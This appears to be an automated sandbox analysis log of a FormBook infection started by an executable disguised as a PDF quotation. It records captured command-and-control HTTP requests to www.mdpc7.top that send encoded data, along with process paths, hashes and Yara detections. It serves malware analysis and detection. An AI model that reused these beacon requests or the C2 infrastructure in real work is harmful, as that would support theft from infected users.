Nov 18, 2024 13:14:52.689707994 CET	1828	OUT	POST /55tt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 1252 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.mdpc7.top Origin: http://www.mdpc7.top Referer: http://www.mdpc7.top/55tt/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 44 69 4f 65 61 66 6c 71 31 48 4f 55 54 37 6a 6c 51 51 56 7a 45 48 45 4c 41 64 34 55 2f 74 4a 7a 51 2f 53 4c 35 58 4d 43 74 42 77 41 65 52 6b 2f 59 6f 41 77 6c 6f 36 45 48 34 59 6f 76 6b 50 31 6d 41 39 4b 63 5a 78 78 74 63 65 56 66 41 56 42 6a 73 72 51 77 66 69 45 34 4c 43 4e 6a 4c 75 55 43 45 68 69 35 2f 4a 30 43 7a 6f 68 39 73 56 30 4d 51 49 71 6f 4c 61 4d 4b 7a 35 75 59 47 4f 57 67 74 67 43 34 4d 77 51 7a 67 6a 61 69 65 4b 74 38 42 31 4a 70 76 38 68 33 4c 4b 74 33 75 4d 53 34 35 56 4c 35 36 73 55 61 77 79 67 2b 30 34 51 7a 4c 62 45 75 6b 53 69 43 36 33 30 2b 6e 70 4f 4f 31 58 58 2b 65 71 62 47 4f 6a 50 56 4a 34 4e 4e 74 2f 6a 42 68 71 2f 54 65 79 4f 6e 51 38 59 5a 48 6a 63 51 72 73 4c 42 49 6b 78 42 69 4a 41 66 50 6a 62 39 49 2f 63 74 63 63 33 54 55 75 39 75 48 76 55 42 4f 36 64 58 71 2f 79 70 44 37 6a 41 69 47 2b 67 56 35 33 32 76 51 75 53 64 61 32 71 2b 76 70 4f 2b 39 62 49 2b 5a 33 51 33 78 4c 5a 58 56 54 68 52 78 77 52 63 67 6f 74 38 58 72 69 31 54 78 50 49 6c 61 59 38 [TRUNCATED] Data Ascii: 0PIXBf9=DiOeaflq1HOUT7jlQQVzEHELAd4U/tJzQ/SL5XMCtBwAeRk/YoAwlo6EH4YovkP1mA9KcZxxtceVfAVBjsrQwfiE4LCNjLuUCEhi5/J0Czoh9sV0MQIqoLaMKz5uYGOWgtgC4MwQzgjaieKt8B1Jpv8h3LKt3uMS45VL56sUawyg+04QzLbEukSiC630+npOO1XX+eqbGOjPVJ4NNt/jBhq/TeyOnQ8YZHjcQrsLBIkxBiJAfPjb9I/ctcc3TUu9uHvUBO6dXq/ypD7jAiG+gV532vQuSda2q+vpO+9bI+Z3Q3xLZXVThRxwRcgot8Xri1TxPIlaY8PguiiXVPR6dyl5yUxw2H3d77V/IKhDEflu1NayB3+YoOA6UdbQQlOS3kURu3A28iStZrwVV1nh1qvV2MWJg60cX2aXUWd2h01zGfMhB+WLla2vLu+6RBUStDdY+/Lcr00jy9hcpi/FwGt6UlXifDYn1Xu6ZQ/lhtCLqhVDfQ2eZIP7PZn9rhqm9xAUiMHsqCwdEb8+lxXYzMrWegan/COpP2Fz4zblqzGILROR0Xp+WZpfuAC193olOfqVKCxTqb7Yj1NbIKJQHqPW4qnGgtr3Qt4qfRc3LLOdr5JGdEpo8p+pQV8XmmtLsJ6xBF1acNjhQ6uhYZQzL1lFYRa1X49NIxa7+WzOJWw6MKnaVMeTLEzhOVi5PresZMr8gr02jImFi8+/thg24NN8ndMXnLnLr4Tzw9dKqd+0uBRZPDspaWyusEcsCDJa8A09pb6aOu0CQKUiWd/7OJ6gAnFa9GeQg+fo7p8Oa7jUj0xCKiR7UGV6P2CXQo30h9ZkU5TVChqM9Z1OdH1smGMb5603/O+sxMwiTQLz2a89CFqVY/ShBmpz7YMH8rFAcMo3Vx5f7Fp3JYUV4OSLHbV6Wc6W2h5yMzmKu/H2KVhMvuLSUBZQYYVxnchlWwK0QsqHtBSnEjmmHoOHsxGLykjSQZyz2oscYIrZzpmPge2A [TRUNCATED]
Nov 18, 2024 13:14:53.614986897 CET	336	IN	HTTP/1.1 404 Not Found Content-Length: 162 Content-Type: text/html;charset=utf-8 Date: Mon, 18 Nov 2024 12:14:53 GMT Server: nginx X-Cache: BYPASS Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 77 65 62 6d 61 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 0a 20 20 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 77 65 62 6d 61 6e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <title>404 Not Found - webman</title></head><body><center> <h1>404 Not Found</h1></center><hr><center>webman</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	53180	20.2.36.112	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:55.238636017 CET	538	OUT	GET /55tt/?0PIXBf9=Ogm+Zpk+8l6HQ6PINDlmGUkcF8k7x5YOd8W05nhCgxhbbgxSQo8C646ORpAxt2ba51M1bpBVlaSpASxEjtHc742t+MiRm52SMn9uh/BsfFsC8+xAemM0t+vEaw1VEDnH1Ike7P0+r0HF&tD_=f00xUVKh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.mdpc7.top User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Nov 18, 2024 13:14:56.188889027 CET	336	IN	HTTP/1.1 404 Not Found Content-Length: 162 Content-Type: text/html;charset=utf-8 Date: Mon, 18 Nov 2024 12:14:56 GMT Server: nginx X-Cache: BYPASS Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 77 65 62 6d 61 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 0a 20 20 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 77 65 62 6d 61 6e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <title>404 Not Found - webman</title></head><body><center> <h1>404 Not Found</h1></center><hr><center>webman</center></body></html>

Target ID:	2
Start time:	07:11:54
Start date:	18/11/2024
Path:	C:\Users\user\Desktop\Quotation request -30112024_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Quotation request -30112024_pdf.exe"
Imagebase:	0x400000
File size:	970'257 bytes
MD5 hash:	8A44B6F23CEBA13203E4DC3FB33AEA3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	7
Start time:	07:11:56
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Quotation request -30112024_pdf.exe"
Imagebase:	0xbf0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.1643178908.0000000006880000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.1641218754.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.1642068110.0000000004A50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	09:10:56
Start date:	18/11/2024
Path:	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe"
Imagebase:	0xe0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.3134403470.0000000003B70000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	11
Start time:	09:10:58
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\RMActivate_isv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\RMActivate_isv.exe"
Imagebase:	0xaf0000
File size:	558'080 bytes
MD5 hash:	CB999CC05F196DCF7300A5D534B3BE7B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3134393651.0000000003290000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3130613752.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3134574203.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	12
Start time:	09:11:12
Start date:	18/11/2024
Path:	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe"
Imagebase:	0xe0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3137237939.0000000005230000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	16
Start time:	09:11:30
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true